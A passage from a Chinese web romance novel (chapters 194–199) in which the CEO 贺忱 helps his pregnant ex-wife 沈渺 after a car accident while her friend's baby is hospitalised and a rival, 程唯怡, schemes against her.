“那你要看她缺不缺钱,如果不缺或者结婚后并未享受你的钱财,那她图的就是你的人。”
秦川意有所指的是,程唯怡嫁给贺忱图什么。
但贺忱的思绪一瞬间落在了沈渺身上。
沈渺嫁给他,图什么?
婚后她依旧节省,几乎没花他的钱,离婚时也一分没要。
照秦川这么说,她也是喜欢他的?
贺忱的面部轮廓一下就润朗许多。
“我去个洗手间。”
秦川点到即止,他站起来,双腿碰到椅子,椅子却纹丝不动。
他双腿弯曲,没站稳,又坐回椅子上。
低头才发现,贺忱死死踩着他的椅子腿。
“你敢出去这扇门,我让你活着走不出深城。”
贺忱漠然地盯着他。
秦川身体一僵,片刻松懈下来,老老实实坐着。
“那我不去了。”
包厢陷入安静。
程唯怡墨迹了好一会儿才回来。
一进门,她先看了秦川两眼,目光里的不满显而易见。
但秦川装没看见,手执刀叉切牛排。
“贺忱哥,你能去找服务员,帮我要一杯果汁吗?”
程唯怡坐下,撒娇道,“听说这家酒店的鲜榨果汁很好喝。”
贺忱抽了一张纸,擦了擦嘴角,抬手摁响了呼叫铃。
服务员推门就进来了。
“您好三位,请问有什么需要?”
贺忱低头继续切牛排。
程唯怡只能开口,“麻烦给我来一杯果汁。”
“好的女士,请稍等。”
服务员退出包厢,没几分钟拿了杯果汁过来。
贺忱慢条斯理吃着东西,姿态矜贵又清冷。
秦川低头吃,不曾抬起头来跟程唯怡有眼神交流。
“看来,牛排是挺好吃。”
程唯怡切牛排,也吃起来,只是她吃得心不在焉。
二十分钟后,几人餐盘都空了。
“吃饱了,走吧。”
贺忱站起来,拿过椅背的西装外套穿上。
秦川起身跟在他后面就要走。
程唯怡拿出手机来,“秦川,你手机号是不是换了?重新加一个微信吧?”
194.两个女人凑不齐一个明事理的男人来
“我手机没电了。”
秦川拿出手机,点了两下屏幕,黑的。
不等程唯怡再说什么,他又添一句,“你微信号没变吧,等回家我充了电加你。”
程唯怡把手机收起来,还想再说什么,秦川已经跟上了贺忱的脚步。
几人走出餐厅,贺忱率先上车。
车窗全落,他一手抵在方向盘,一手撑着车门。
“贺忱哥,我的酒店跟你不顺路,你就别送我回去了,我打个车,跟秦——”
“那你打车走吧,我跟贺忱顺路,就坐他的车走了。”
秦川打断程唯怡的话,绕到副驾驶上去,系安全带。
他的动作一气呵成。
程唯怡一句话没说完,一口气提在嗓子眼,再听他这话——
她差点儿没上不来气。
“回去路上注意安全,到酒店报平安。”
贺忱叮嘱了两句,驱车离开。
程唯怡站在原地,看着他们的车飞速驶离。
“死秦川,你故意躲我?我就不信了,查不出你在哪里!”
——
“小沈,你就是吃太少了,你看你肚子才这么一丢丢。”
饭桌上,昭姐见沈渺吃了一小碗米饭就不吃了,苦口婆心地劝。
“女孩子不能因为爱美,怕长胖,就不吃东西,孩子太小了,可怜巴巴的哦,生出来跟个猴子一样。”
商音搭了句,“她现在吃得算多的,你是没看到以前,跟喂猫似的,我家小商商再过两个月吃的都比她多。”
商商现在可以适量添加辅食。
昭姐做得一手好饭,辅食更是不在话下。
商商的饭量日益增长。
“乖乖,今天这个是不喜欢吃吗?”
昭姐发现今天商商吃不进东西去。
她摘掉围裙走过来,从商音手里接过辅食碗。
“你吃,我来喂她。”
“那你来,我饿死了。”
商音直接把商商的小餐车推到一边。
谁知她刚坐下,商商就突然‘哇哇’大哭。
“哎呀,乖乖怎么了?妈妈也饿了,咱们一起吃行吗?”
商音捧着碗筷,一边逗商商一边往嘴里扒饭。
昭姐把饭递到嘴边,商商挥着小胳膊拨弄开,朝着商音的方向扯着嗓子哭。
哭得小脸通红,额头青筋凸起,不过短短几秒嗓子都哑了。
小家伙从未这么哭过,商音立马放下筷子了。
“怎么了这是?”
昭姐放下辅食碗,准备把商商抱起来。
“是不是下午没睡够,困……哎呦,乖乖好烫,发烧了啊!”
商音一听傻眼了,“发烧?他这么小也会发烧吗?”
昭姐只是用手测量了额头体温,连温度计都没试就确定。
“肯定已经三十九度朝上了,赶快去医院!”
下午,昭姐去菜市场买菜,回来就开始做晚饭。
将近三个小时,都是商音在带商商。
她竟然没发现商商发烧,自责涌上心头,她的眼一下就红了。
“你去给商商准备东西,我开车。”
沈渺看她此刻的状况,怕她开车走神。
“我,我给他带什么?”
商音慌了神,手忙脚乱,在昭姐的指挥下,拿了件小外套和水杯以及纸尿裤,匆忙出门。
沈渺开车,带着他们直奔医院。
许是身体不舒服,商商一直在哭。
哪怕在商音的怀里,他的小腿使劲往上蹬,哭的商音心都快碎了,忍不住跟着哭。
“都怪妈妈,妈妈没有想到你会发烧,乖商商,不哭了行吗?妈妈以后一定注意……”
昭姐安慰,“别太担心,小孩子总会生病的,可能是这两天夜里着凉了……”
“我要是早点发现,他就不会烧这么高,这身上都烫人了。”
商音的眼泪噼里啪啦地落,说话的哭腔很浓。
夹杂着商商尖锐的哭声,沈渺不免跟着着急。
她时不时看向后视镜,抽纸巾递过去给商音擦眼泪。
孰料,汽车猛地一顿,发出一声巨响。
“哎呀!”
昭姐惊呼一声,“撞车了!?”
沈渺身体狠狠一震,她下意识扶上小腹。
幸好前方红绿灯,车速缓慢,撞击的震度不是很大。
而撞车原因是前方一辆SUV想要插队,临时拐过来方向盘。
沈渺的车撞在对方的右后方车屁股。
“瞎了,没长眼睛啊!”
SUV车主下来,指着方向盘的方向骂骂咧咧。
沈渺解开安全带下车,“你插队,你得全责。”
“一个女人开不好车就不要开,教练没叫你礼让吗?”
男人训斥着,冷不盯看到沈渺微微凸起的小腹。
下班后沈渺穿了一件包身的纯棉长裙,这件衣服将她孕肚显得厉害。
“还是个大肚婆!换个人来跟我沟通!”
商音把商商交给昭姐,下车来,“换谁来也是你全责,我们着急医院,你留个联系方式,回头我们再谈赔偿!”
“赔偿?谁赔谁?”男人不依不饶,“你们两个女人懂不懂啊?找个明事理的来,但凡是个男人有点义气都知道让一让!”
看到车里还有人影晃动,男人上前一步,“让里边人出来我看看,有没有明事理的!”
商音挡着车门不让他靠近。
“找交警,交警最明事理了,你别推卸责任!”
男人明知没理,就想闹事拖延时间,让沈渺和商音放弃赔偿,直接走人。
“马上晚高峰,别耽误大家时间,你这儿叫不出个人明事理的人来,算了算了……”
商音撸起袖子就要冲上去,“你给我站住,属狗的吧?不分对错就咬人啊?”
车里传出商商的哭声。
沈渺拦了商音一把,“算了,回头报交警,先带商商去医院。”
在她的劝说下,商音冷静下来,听到孩子哭声在心里骂自己,浪费时间。
“站住,你骂谁呢?一个大肚婆一个疯婆子,车里还一个孩子,两个女人凑不齐一个明事理的男人来?”
商音脚步一顿。
沈渺推着她上车,“上车打交警电话处理,先去医院!”
“别走,打电话喊你们家能处理事儿的过来,我倒是要看看,哪个男人不长眼,娶你们两个不讲理的女人!”
男人使劲拍了下引擎盖。
‘Duang’的一声。
车里商商的哭声更大了。
沈渺把商音塞到车里,转身准备也上车,不与这男人争执。
她一个孕妇,商音那儿还有商商,怎么算都不该跟这个脾气暴躁的男人针尖对麦芒。
谁知,不等她上车,就被男人拽住了。
“别走,知道理亏想跑是吧?今天车上那女人不跟我道歉,谁也别想走!”
沈渺半个身体都探进车里了,又被男人拉出来。
她没防备,男人的力气过大,她佝偻着身体踉跄着后退。
重心不稳,身体摇摇欲坠,惊得周围聚拢看戏的人一阵惊呼。
沈渺捂着肚子,倒吸一口凉气,惊恐爬上心头时——
她腰上一紧,背部撞入男人坚硬的胸膛。
195.他不是我老公。是她前夫
“现在你想走,都走不了。”
贺忱低沉富有磁性的声音在她身后传来。
沈渺被他扶正身体,人却还被他圈在怀里护着。
他周身散发着一股凛然的气息,让方才还嚣张的男人一下没了气焰。
“秦川,你带她们先走,这里交给我。”
他指的是车上的商音和商商、昭姐几人。
沈渺是车主,得留下来跟他一起处理这起事故。
秦川拉开车门,弯腰看去。
商音抱着商商,哭得稀里哗啦。
那副惨样子,仿佛刚刚要跟外面那人拼命的不是她。
“出来,我带你们去医院。”
商音抱着孩子下车,昭姐拎包跟上。
“哎,你这——”
男人强行找回一些气焰,“你们没必要为了两个不认识的女人出气!”
“我们认识。”贺忱言简意赅,“说吧,你想怎么跟我这明事理地谈这起事故。”
周围人指指点点,男人妄想欺负女司机不懂交通规则来推卸责任的梦破灭。
他又找了个借口。
“你说认识就认识啊?她一个孕妇,你们这么亲密,难不成你是她老公?”
沈渺从未见过这么不讲道理的男人。
“他是我的什么人,跟你没关系,你不是要处理事故,现在可以处理了。”
贺忱落在沈渺腰间的手一紧。
她变相地否认了他是她老公。
男人也听出来了,“你不是她老公,你们两个卿卿我我的,干什么呢?不会是婚外情吧?人家肚子里揣着一个有老公了,你还上赶着帮人家干什么?”
人多最不怕的就是八卦。
围观的人纷纷交头接耳,小声议论。
沈渺看到离他们很近的还掏出手机,准备拍摄。
她眉头一拧,快速从贺忱的怀里出来,直接拨打交警电话。
电话很快被接通,沈渺报时间地点,具体情况。
男人见势头不妙,转身就往车上跑。
小短腿倒腾了半天,不及贺忱快走两步,直接把他衣领薅起来。
不出五分钟,交警抵达现场。
沈渺做了笔录,将行车记录仪监控给了交警,然后退场。
她的车撞坏,被拖去修了。
贺忱的车被秦川开走了。
她出来时,就看到贺忱站在交警队门口的树下。
夜色正浓,一簇霓虹灯亮着,晕开的光环把他身影拉得老长。
他双手插兜靠着树,看到沈渺出来直起身体,走过来。
“处理好了?”
沈渺点头,“对方全责,车会在三个工作日内修好送过来。”
“知不知道自己干什么吃的?”
贺忱的脸色陡然下降,劈头盖脸地指责,“开这么多年的车了,犯这么低级的错误?”
沈渺低着头,胸口微微起伏,“抱歉,车损我会全部负责。”
虽然对方修车,但是新车损坏会贬值。
她开的公司车,还是因为私事,贺忱会不高兴不在沈渺的预料之中。
可沈渺又觉得,他现在正看她不顺眼。
会找她麻烦,又算情理之中。
“车损你赔?出了事情,你付得起肚子里孩子的责任吗?”
贺忱双手叉腰,额头青色的筋络显而易见。
沈渺抬起头,对上他墨色的双眸。
“我……是他突然转过来。”
“保持车距,这么简单的道理你不懂?”
贺忱面色依旧沉甸甸的。
沈渺垂下目光,“懂,抱歉——”
“跟我道什么歉,孩子是你的。”
贺忱说完这话,心脏一刺,不舒服极了。
他甩手转身就走。
身后传来脚步声,是沈渺跟过来了。
她小碎步迈得飞快,勉强跟上他,“贺总……”
“你开的是公司的车,若出事公司也得承担责任,所以我才提醒你。”
贺忱打断她。
沈渺顿了下又说,“我知道,我……”
“你出事跟我也没关系,不用跟我道歉,对得起你自己就好。”
贺忱见她追得费力,不由得放慢脚步。
沈渺因为拔得微高了些,“我出来得急,没带手机,你能帮我打个车去医院吗?”
车被拖走,她联系不上商音,又身无分文。
贺忱脚步猛地顿住,转身看她。
她站在那里,灰色的纯棉长裙熨贴着前凸后翘的身子。
就算是个孕妇,她也是个容易令人想入非非的孕妇。
内衣的纹理依稀可见。
平日里沈渺不会穿这衣服出门,今天是出来的急。
贺忱解开外套扣子,脱下来直接将她裹住。
“跟我走。”
沈渺身上一暖,周身被他的味道笼罩。
贺忱在路边拦了出租车,打开车门,见她还在原地,嗓音不虞。
“上车,等什么?”
“来了。”沈渺敛回思绪,快步上车。
她弯腰上去,刚坐稳身边就多了一抹暗影。
贺忱半个身体钻进来,“里面靠。”
她以为他会坐在前面。
沈渺赶忙挪动身体,让出位置。
“两位去哪里?”司机问。
贺忱沉默着。
沈渺开口道,“医院。”
“路段行车困难,先生请保护你妻子,她怀孕了,免得磕到。”
司机看出沈渺是孕妇,又见两人之间隔着很远,提醒道。
“师傅,你误会了,他不是我老公。”
沈渺解释。
司机讶然。
不是她老公,深更半夜跟她在一起,还陪她去医院。
一簇霓虹灯光照进来,打在贺忱脸上。
他阴恻恻着开口,“是她前夫。”
司机‘哦’了一下,深吸一口气。
沈渺回过头来看他,黑白分明的眼眸带着诧异。
“小夫妻吵架很正常啦,男人就多顺着点女人,张口闭口就前夫了,你这样女孩子怎么能高兴?”
司机却以为,他们是正在闹矛盾的小夫妻。
沈渺的解释他当听不见的。
贺忱黑压压的脸色,他当贺忱不会哄老婆,只会甩脸子。
一通教育,让车厢里静的落针可闻。
他们都不说话了,司机这才安静下来。
片刻,抵达医院。
贺忱付了钱,两人下车。
“谢谢贺总,我先走了。”
沈渺丢下几个字,快步朝急诊院区走去。
急诊室人不多,她刚进去就看到了昭姐。
“小沈你过来了啊。”
昭姐起身走过来,“商商需要住院观察,小商已经带着他过去了。”
“在哪个病房?”沈渺问。
“在顶楼,是秦医生给办的住院,我这几天也要过来帮忙照顾,你一个人怎么办?”
昭姐引着她朝电梯走。
刚走没两步,昭姐突然停下来,“这不是帮我们那位先生?他怎么也跟过来了?”
沈渺回头,才看到贺忱也过来了。
196.这就是你感激的态度?
沈渺拧着眉的样子,印刻在贺忱深沉的眼眸里。
他在隔着一段距离处停下。
“你怎么还没走?”
贺忱,“我……”
沈渺,“我这儿没需要你帮忙的地方了。”
她面色疏离,带着不需要他帮忙的抗拒。
贺忱单手插兜,站在原地没动。
“小沈,你们认识啊?”
昭姐却是开口,“那个男人一看就不是好东西,想推卸责任甚至讹我们,旁人都不敢管,幸好这位先生了。”
说着,她又看向贺忱,“先生,事情解决了吧?是对方全责吧?”
贺忱颔首,“嗯。”
“哎呀,真是太感激你了。”昭姐转过头来又对沈渺说,“你朋友帮了这么大的忙,可得好好感谢人家。”
说完,她又压低声音道,“怎么你还板着一张脸,这样不合适。”
声音虽然压低了,可扛不住晚上的医院太安静。
她的话还是清晰传入了贺忱的耳朵里。
贺忱眉尾微微扬了下,看向沈渺的眼神像是在问:这就是你感激的态度?
昭姐是深城本地人,人热情又开朗。
她说话直,并未注意到沈渺跟贺忱之间那股微妙的气息。
沈渺汲气,语气缓了缓,“主要是觉得时间不早了,怕耽误贺总休息。”
“以往这个点,我还在工作。”
贺忱朝她走近两步,言下之意现在还不晚。
沈渺动了动唇,欲再开口时,就见贺忱越过她,朝医院里面走去。
她怔了下,眉头舒展开来,面色不由浮上一抹尴尬。
“哎呀,小商给我叫的车到了,我得赶紧走了。”
昭姐惊呼一声,忙不迭朝外面走去。
沈渺颔首,目送昭姐离开后,她去了商商的病房。
病房门口,贺忱跟秦川站在那里。
“烧得挺严重,幸好送过来的及时,推了退烧针,温度降下来一些,有反复发烧的可能。”
秦川透过窗户,看病床上的娘俩,“整体来说问题不大,不知道她怎么那么慌。”
贺忱斜靠在墙上,并未搭话。
沈渺走过来接了句,“这是商商第一次生病,而且是高烧,我们都很好啊。”
“理解了。”秦川回过头来,“你进去安慰一下吧,照她这样下去,孩子还没好她也会病倒。”
沈渺点了下头,沉默了几秒又说,“今晚谢谢你们,你们先回去吧。”
“我值夜班。”秦川指了指白大褂上的胸牌。
“你在这里上班?”沈渺惊讶,“你不回京北了?”
秦川点了下头,“短期内不打算回。”
沈渺看了贺忱一眼。
他依旧站在那儿,应该是在等秦川。
她推开门进入病房,随手把病房门关上。
商商睡着了,商音侧躺着,紧紧把他抱在怀里。
见有人进来,立马将食指抵在嘴上,示意小点声。
“退烧了吗?”
沈渺弯腰打量着商商的小脸,看起来还红红的。
商音点头,“降下来些,但还没有彻底退,你没跟昭姐一起回去?”
“等昭姐回来我再走吧。”
沈渺不放心商音一个人在这儿,万一商商有状况,忙不过来。
商音坐起来,眼睛有些红肿。
“我真不是一个合格的妈妈,商商生病了我都没发现,要不是昭姐,他烧成傻子我都不知道怎么回事。”
沈渺抽了两张纸递给她,“都当妈的人了,不能哭,要给孩子做榜样。”
商音仰着头,将纸盖在眼睛上,很快就被浸透。
“沈渺,现在的生活状况脱离了我原本的计划,我以为生个孩子,只要我给足够多的钱养就足够了。”
可是孩子生下来,很多时候她都身不由己。
她想当一个甩手妈妈,闲来无事把抱孩子过来稀罕稀罕,有事了就交给育儿嫂。
可是孩子哭闹她心疼,再苦再累也要吊着一口气陪孩子玩。
孩子生病揪心,她的情绪完全围绕孩子发生变化。
“你决定试管要个孩子的时候,我就跟你说过,这是一条生命,不是你能花钱买到的玩偶,生了他就要对他负责。”
沈渺将她乱糟糟的长发梳理好。
“你变得身不由己,证明你是个重感情的人,在朝着合格妈妈的方向发展,你很好。”
合格妈妈?
这四个字对商音来说,太陌生了。
她一直给自己贴的都是‘辣妈’标签。
商音把眼睛上的纸巾拿下来,揉成一团丢入垃圾桶里。
“沈渺,当合格妈妈是一件好累,好辛苦的事情,难怪……都要结了婚才生孩子,至少另外一半能帮忙分担。”
她往病房外看了一眼,声音压得低低的,“爸爸就是妈妈和孩子最坚强的后盾。”
就像刚刚,男人欺负的就是孤儿寡母,没男人。
沈渺看了她几秒,抬手覆上她额头。
“没发烧,怎么有说胡话的迹象了。”
她几乎能猜到,商音接下来要说什么。
商音把她手拿开,“贺忱刚刚还停下来帮我们,也挺好的。”
沈渺:“……”
“你前两天刚呛了人家,他那么大一个总裁,换了别人你就是被人揍了,都不带停一下的。”
商音振振有词。
沈渺,“所以呢?我是不是该现在冲出去,问问他能不能别跟程唯怡结婚,跟我复婚?”
商音一噎,咂咂嘴。
“情绪上头就爱乱说话是病,能不能改改?”
沈渺拉过椅子坐下来,“你闭上嘴睡觉吧。”
商音乖乖躺下,抱着商商,闭上眼睛。
没一会儿她又睁开,“你帮我跟贺忱说句谢谢。”
“谢什么?”沈渺说,“车是我开的,他帮我处理的事故,你谢他什么?”
“秦川是他带来的。”商音撇了下嘴,“秦川安排的病房。”
沈渺,“要说你自己去说。”
商音透过窗户,只看到贺忱侧脸。
她犹豫了下说,“那有机会我再说。”
话音落地,病房门被人推开。
秦川拿着两颗药走进来。
“商小姐,这是退热贴,可以贴一个很舒服,如果半夜又烧起来可以再吃退烧药,用法用量我都写下来了。”
商音坐起来接过药,“谢谢秦医生。”
秦川,“不用谢。”
他低头看了眼沈渺,“沈小姐是孕妇,不宜熬夜,刚好贺忱要走了,让他送你回去吧。”
197.沈渺怀的别人的孩子,贺忱怎么想?
“不用。”
“贺忱同不同意啊?”
沈渺的‘不用’,夹杂着商音后面的问题。
秦川回头看了眼。
贺忱靠在门框上,鹰隼般的长眸淡然看过来。
“贺忱,今天谢谢你啊,那等会儿你走的时候就把渺渺带回去,安全送回家,不然我也不放心。”
贺忱跟商音,知道彼此存在已经很多年了。
但是他们几乎没说过话。
商音这一开口,像是跟贺忱关系多熟似的。
沈渺做好了商音会被冷场的准备。
“走吧。”
谁知,贺忱吐出两个字。
沈渺抿了下嘴唇,犹豫了几秒拿上东西跟贺忱走了。
深更半夜,她一个孕妇,也没带手机。
孰轻孰重,她还是分得清。
进医院时,她就把西装外套还给了贺忱。
这会儿往外走,夜风微凉,贺忱又把外套递过来了。
“明天上午有个国际视频会议,需要你记录。”
沈渺要是生病了,没办法记录会议。
许是跟了贺忱太久,她总能精准地捕捉到他每一句话的含义。
沈渺接过外套穿上,鼻翼间尽是他身上那股淡淡的沉香味。
以前,这股沉香带着淡淡的烟味。
如今,烟味没了。
她最近很少见贺忱吸烟。
或许是,程唯怡不喜欢烟味?
沈渺埋头跟在他后面,上了他的车,任由他开车送她回家。
贺忱的车驶离原地,暗中走出一抹身影。
程唯怡垂在身侧的手紧紧攥着,指甲陷入肉里,抓破了皮肉。
她却仿佛感觉不到疼,死死盯着他们离开的方向。
“沈渺,你还敢说你跟贺忱哥没什么!”
“贺忱哥难道不知道他怀孕了吗?他……到底什么意思?”
沈渺那件衣服,足以看得出怀孕,这证明贺忱是知道沈渺怀孕的。
程唯怡不理解,沈渺怀的是别的男人的孩子。
贺忱,怎么想的?
想不透,程唯怡顾不上再想,她收回目光进入医院内。
秦川办公室的门,猛地被推开。
他刚脱掉白大褂,想小憩一会儿。
程唯怡铁青着脸色进来,“秦川,你躲得了我?”
“躲不了。”秦川实事求是,“你属狗的吧。”
闻着味,就能找到他这儿来。
“你是准备跟我鱼死网破吗?”程唯怡质问,“你不怕贺忱哥知道你那些龌龊想法?”
秦川早就想到,程唯怡会找来找他。
他拉开椅子坐下,不急不缓道,“这不叫鱼死网破,只是以后不再合作,井水不犯河水了。”
“不行,我还需要你帮忙!”程唯怡一口否决他单方面宣布各不相犯。
“我不帮,你有本事就去找贺忱,想说什么说什么,你替他除了我这个祸害,我也替他除了你这个麻烦,他好我怎么样都行。”
秦川一脸没得商量。
程唯怡嗓子眼发紧。
她最害怕的一幕出现了。
秦川比她头铁,比她更不怕鱼死网破。
“秦川,我们互帮互助才是互赢,你跟贺忱哥这么多年的兄弟情,你不担心会毁于一旦吗?”
程唯怡的语气软了不少,有苦口婆心的意思。
“我们都是想为了贺忱哥好……”
“我想为了他好,你只是想为了自己好。”
秦川打断她,“你做的所有一切都是为了你自己的虚荣心,跟得到贺忱,我劝你现在收手还来得及。”
他知道,贺忱已经有所察觉了。
但是他不会告诉程唯怡。
程唯怡找死,他才不拦着。
他象征性地劝说,程唯怡根本听不进去。
“我知道我配不上贺忱哥,可我比沈渺的出身强啊!”
“以后别再来烦我,不然我就去找贺忱摊牌。”
秦川指着门,“出去。”
程唯怡不敢置信,他会这么决绝。
“秦川,我们好歹是一起长大的,就算没有贺忱哥,我们也是朋友——”
“你不配跟我做朋友。”
秦川,“你跟那些人没有区别,我的朋友只有贺忱一个。”
程唯怡,“我……”
“需要我提醒你,你做过什么吗?”
秦川的嗓音冷了不少。
程唯怡一阵发冷,汗毛都竖起来了。
她当初是威胁秦川时,说了很难听的话,当时秦川的脸色有多难看,她是记得的。
别说朋友,秦川不把她当成敌人就不错了。
“滚。”
秦川吐出一个字。
程唯怡使劲咬着嘴唇,咬破了,也没再说出话,最终还是转身离开了。
“都是因为沈渺,贺忱哥才会对我这样,只要没有她,一切的麻烦都解决了……”
回到车上,程唯怡拿出手机,拨出电话,“珊珊,我来深城了,有时间见面吗……”
——
沈渺从未觉得,深城的夜里这么凉。
她身上披着贺忱的西装外套,车上的窗户都关了,她却被一股从背脊爬上来的凉意,惊得胳膊起了一层鸡皮疙瘩。
她将外套拢了拢。
“冷吗。”
贺忱捕捉到她的小动作。
“还好。”沈渺扫了眼贺忱。
他穿着单薄的衬衫,袖口挽着,肌理分明的胸膛若隐若现。
贺忱松了方向盘,修长的手指摁开了暖气。
车内逐渐暖和起来。
只是她暖了,他就热了,将领口的扣子又打开了两颗。
车内两人冷热交替。
半小时后,车停在沈渺家门口。
沈渺下车后,把外套脱下来,放在座位上。
“谢谢,早点回去休息吧。”
贺忱看了她一眼,“进去吧。”
沈渺点了下头,见他还不走,她转身进入公寓内。
黑黑的公寓有了一抹光亮。
依稀可见沈渺晃动的身影,她去了客厅,待了没几分钟,上楼睡觉了。
她是一个人住,意味着那个男人并不在她身边。
不对,贺忱突然想到,商音也是一个人。
他掏出手机拨通林昭电话。
“查一查商音。”
林昭愣了会神,才想起来,商音是沈渺的朋友。
“是。”
不出半小时,林昭就查到了商音的全部信息。
贺忱准确无误地捕捉到,去年商音在社交平台公开生子那一栏。
许多粉丝问她这个孩子是谁的,她都说是她自己的。
顺藤摸瓜地查,商音在哪家医院接受的人工授·精,甚至哪天几点都查出来了。
“贺总,您该不会怀疑……沈秘书的孩子,也是试管来的吧?”
198.重要的是你能来
“不会。”
贺忱脱口而出两个字。
林昭本意是若他认为这个孩子是试管来的,很荒谬。
但听到贺忱如此决绝的否认,他又起了好奇心。
“您怎么这么确定,沈秘书的孩子,不是试管的?”
“直觉。”贺忱的直觉还告诉他,沈渺瞒了事情。
沈渺跟了他这么多年,还曾两年每天做着做亲密的事情。
他十分了解她。
“贺总,还继续查吗?”
那端传来林昭的声音。
贺忱吐出一个‘查’字,挂断电话。
他将手机收起,又往楼上看了眼,然后驱车离开。
路过隔壁公寓,院子里停着的劳斯莱斯幻影一闪而过。
贺忱眉头微蹙了下。
那车价值九位数,停在这不过百万的公寓区,显得格格不入。
但他没多想,飞速驾车离开。
黑暗的房间,沈渺站在窗边,她看着飞速驶去的车,舒一口气,转身上床。
商商生病,让商音陷入焦虑。
她彻夜不眠,在网上搜索婴儿发烧最坏会造成什么结果。
除去大部分说小孩生病时常事外。
极小部分特殊情况,发烧导致脑瘫、变傻、白血病高烧不退的标题,成为了商音重点关注的对象。
【商商会不会生大病了?】
【我们搬到深城来,这房子应该是刚交付不久,是不是甲醛太重了?】
【商商烧到快四十度,会不会影响智商?】
【听说有把小孩烧成聋子的,他会不会听不见了啊?】
沈渺逐条回复。
可她的回复,商音看不进去,一味陷入恐惧。
终于,天亮了。
商音许是撑不住睡过去了。
沈渺撑着疲倦的身体去公司。
八点半的国际会议,她卡着点进入贺忱办公室。
会议刚接通,贺忱戴着无框眼镜,掀动眼皮朝她看过来一眼,很快又垂下。
他操着流利的英文,与电脑那端的人沟通。
沈渺悄无声息地入座,打开笔记本开始记录会议。
因为来得及,她忘记将手机调成静音。
乍然响起的铃声,打断了流利的英文交流。
贺忱眼眸一眯,朝她看过来。
沈渺迅速将手机调成静音,“抱歉。”
屏幕上,高夫人的电话号码跳动着。
贺忱余光瞥见,清了清嗓子,“接。”
沈渺只得接起电话,“高太太。”
“沈渺,明天是我儿子的生日,你来参加吧?”
高夫人盛情邀约,“让贺总也一起来。”
“抱歉,贺总明天有工作安排。”
沈渺婉拒。
“那你一个人来吧。”高夫人却是说。
“我也有工作要处理。”
高夫人安静了几秒,又说,“宴会晚上才开始,你下了班过来,来得及的,珊珊上次跟你见过面,觉得很聊得来,特意叮嘱我邀请你过来。”
沈渺跟高夫人算不上熟。
上次参加他们夫妻的结婚纪念日,她连哪个是高夫人的儿子都不知道。
至于吴玥珊,聊得来?
“抱歉,我朋友的孩子生病了,在医院,我下班要过去看看,谢谢您的邀请,我会送个礼物过去。”
不再给高夫人开口的机会,沈渺挂了电话。
她放下手机,朝贺忱颔首,“抱歉打扰贺总开会了,可以继续了。”
贺忱目光落在屏幕上,眼神示意会议继续。
没一会儿,沈渺的手机接连震动几声,又安静下来。
半小时后,会议结束。
“高夫人很喜欢你。”
贺忱目光转向她。
沈渺整理会议内容,动作稍顿,“她说她没有女儿,我跟他儿子年纪相仿,可能是合眼缘。”
“明天晚上有时间。”
贺忱摘掉眼镜,意思不言而喻。
沈渺诧异地看向他,“你要去参加?”
“给你一天时间去挑选一份礼物,明天带过来。”
贺忱捏了捏眉心,面容染上几抹倦意。
沈渺将东西整理好,发到他邮箱后,离开公司。
她虽然电话里拒绝了高夫人,可高夫人又给她发了几个消息,希望她能去。
沈渺回复高夫人明天晚上会过去,顺便问了下高家少爷的喜好,好准备礼物。
【礼物不重要,重要的是你能来就行。】
这话说的,好像沈渺就是那个礼物一样。
怎么听怎么不自在。
沈渺让李白恬查了查高家少爷,典型的二世祖,吃喝嫖赌样样都沾。
她选了一瓶进口珍藏红酒,让人明天直接送到高家去。
办完这些事,刚好中午,她直接去了医院。
进门就看到商音坐在沙发上掉眼泪。
昭姐抱着商商在床上,商商的额头还贴着退热贴。
“还在烧吗?”沈渺走进来。
“早上的时候退下来了,这会儿又开始烧。”
昭姐边说边打量商音脸色,“医生说这是病毒性的,会反复烧几次。”
她想说问题不大,但是看商音那么难过,又不好意思说。
“刚好,趁着商商睡着了,我们去吃午饭,等会儿给昭姐带回来。”
沈渺朝昭姐点点头,走到商音身边。
商音想都不想就拒绝了,“我不去,你跟昭姐去吧,我得守着商商。”
“他在昭姐手里呢,你接过来万一弄醒了怎么办?”
沈渺拉着她起来,“昨天秦医生说了,你这个样子下去商商没好,你得先病倒,你病倒了孩子怎么办?”
商音看到商商通红的小脸,心疼的直淌血。
“还不如我生病,看到商商这么难受……”
“你打住,现在跟我走。”
沈渺拉着她朝病房外走去。
昭姐叮嘱道,“别惦记孩子,没事的,你多吃一点,千万别把自己身体搞垮了。”
病房门关上,昭姐的被隔开。
外界的嘈杂涌来,商音吸吸鼻子,出了那间屋子,人有一种清醒不少的感觉。
“过来,带你走两层楼梯,让你醒醒盹。”
沈渺截停她走向电梯的步伐,拉着她走楼梯。
楼下是儿科普通病房,一出楼梯口就看到楼道里横七竖八都是加塞的病床位。
从几个月到十几岁的孩子随处可见。
手腕处挂着滞留针的,头顶推掉一块头发输液的,比比皆是。
商音看得触目惊心,心惊胆战。
“这么多生病的孩子啊?”
“是个孩子就会生病,小孩子患绝症的比例虽然增高了不少,但相比之下比例还是太小了,你不要给自己增添焦虑。”
沈渺强行把她拉下来,就为了让她看看,每个年龄段的孩子都会生病。
两人穿过普通病房,来到电梯前等着。
商音听了她的话,扭过头来打量她。
“你这么没有人情味,是跟贺忱跟太久了吗?”
199.离婚那晚她哭的枕头都湿了
沈渺:“???”
她眉头一拧,严肃地看着商音。
商音吸吸鼻子,“等你生了孩子就知道了,道理都懂,但就是忍不住心疼孩子。”
沈渺想说她能体会。
但转而一想,商音现在什么也听不进去。
她干脆不说了。
“这种感觉就像,你的理智让你离开贺忱,你也能做得到离开,可你还是会难过。”
商音使劲吸鼻子。
沈渺,“差不多行了,道理你都懂怎么还人身攻击呢?”
“我这么难过,凭什么你好过?”
商音委屈巴巴干着不是人的事儿。
“你想想你跟贺忱离婚那天晚上,你哭的时候,我也陪了一宿的,我恋爱都没谈过都能陪一下,你能不能被这么冷静,显得我很蠢。”
沈渺脑仁一阵大,“看来你是没那么担心了,还有心情瞎扯。”
“我瞎扯了吗?”商音振振有词,“你那天晚上哭的枕头都湿了,有一次多喝了两杯,你还说再来一次一定不会主动提离婚了……”
沈渺有严重的戒断反应。
跟贺忱结婚两年,就算他冷冰冰的,她也习惯了下班有他。
刚离婚那天她是哭了。
离婚没多久,贺忱跟程唯怡在一起的新闻爆出来,她喝了酒说了些胡话。
她都不记得,商音却把她每一个出糗的瞬间,都记录下来,逮住机会就损她两句。
看在商音情绪不高涨的份儿上,沈渺不跟她计较。
“电梯到了,快进去吧。”
她拉着商音进电梯,两人一同转过身。
冷不丁看到电梯外,穿着白大褂双手插兜的秦川。
商音表情一僵。
沈渺脑袋‘嗡’的乱哄哄起来。
“你怎么在这儿?”商音下意识问。
